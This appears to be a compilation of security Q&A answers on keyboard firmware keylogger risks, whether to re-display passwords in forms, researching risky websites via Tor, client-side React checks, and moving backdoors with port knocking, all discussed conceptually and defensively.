There does not exist a universal way of updating keyboard controllers, and certainly there is no universal introspection for them.  While you could reflash those keyboards that are reflashable every time the system boots or a keyboard is plugged in, you'd have to come up with a way to do this for every flashable keyboard, not to mention trust the "clean" firmware, and then you'd have built into your system a way for an attacker to flash the keyboard.  This is likely not a productive use of time.

The hack described merely causes the keyboard to act as a hardware keylogger, if I read correctly.  Apple's patch requires that users have elevated privileges to update the keyboard's firmware, as it should be.  Linux, to my knowledge, doesn't have widely-used drivers for doing such an update, and if you don't want one to ever be done, don't compile such things into your kernel (or load modules for it).  You already need root to load modules or update the kernel (typically).

The best way to guard against such things as these is to protect access to your hardware (to prevent retrieval of logged keystrokes).  If there were a way to inspect the data in the keyboard remotely without the user noticing, that would be its own bug to be patched.

This problem is somewhat unique to Apple, who have created a high level of homogeneity for attackers, given attackers access to exploit it with only normal user rights (since patched, as cited), and created keyboards complex enough to facilitate such an attack.  You could guard against it by using a simpler keyboard without flashable firmware, if you're worried about such things as this.


Re-display password in registration form good or bad?

This is not a problem in itself, but in my opinion a web application should implement the policy that passwords are only input, never output. Following this policy will result in a much more secure system as far as handling passwords is concerned.

If you are going to do this, then make sure you set the appropriate headers to prevent caching in the browser or in any proxy servers en route:

Cache-Control: private, no-cache, no-store, max-age=0, no-transform
Pragma: no-cache
Expires: 0

Note that the password will still be visible if view source is clicked in the user's browser. This is an additional, although very low risk as a normal user is unlikely to do this. The only time I could think the password might "escape" this way is if the user decides to save the page HTML locally using their browser's save page functionality.

You could store the password in session once it has validated against any password requirement policy and matches the confirmation. Then you could simply include some code to suppress output of the password fields if the password has already been accepted by your application. The downside to this approach is that passwords are held in memory for longer than otherwise necessary, which means your application is at a slightly higher risk of memory attacks. Heartbleed was one - of course you need the vulnerability to exist in the first place for the risk of exposure to increase in this way. One way to mitigate this is to hash the password ASAP and store the hash and salt in memory.

If you want to allow the user the option of changing their password, you could output a field with a "magic value" rather than the password itself.

<input type="password" value="notrealpassword">

Then you simply detect whether the user subsequently edits this field to know whether to update the password stored in session.


How do you safely research dangerous websites?

Carrying out this task I would either use a commercial proxy, or the Tor network.
The easiest way to safely use the Tor network is to use Tails Live.

If you choose a commercial proxy think about which ones are going to be the easiest for your government to get hold of the logs for. Maybe choose one that is based in a foreign jurisdiction.


Can an end-user modify conditional rendering in React?

It's not just that they can modify the variable to show whatever dashboard they want - the fact is that they have full control over the app, can view all code, can view all data in the app, etc... The client has full control over the app, so if you have any data, logic, or code that you don't want users to see, your only option is to never send it down.

Client side checks have only one purpose: to provide a nice user interface for users. They have no security value whatsoever.


In the context you provide, it has to do with a backdoor that changes or moves over time. There might be a backdoor on port 8000, then it switches to port 8001, etc. The idea is that once a backdoor is discovered, the hacker must re-discover it to use it again.

See also the concept of "port knocking" in real life, where the backdoor only opens once you trigger it with a sequence of steps.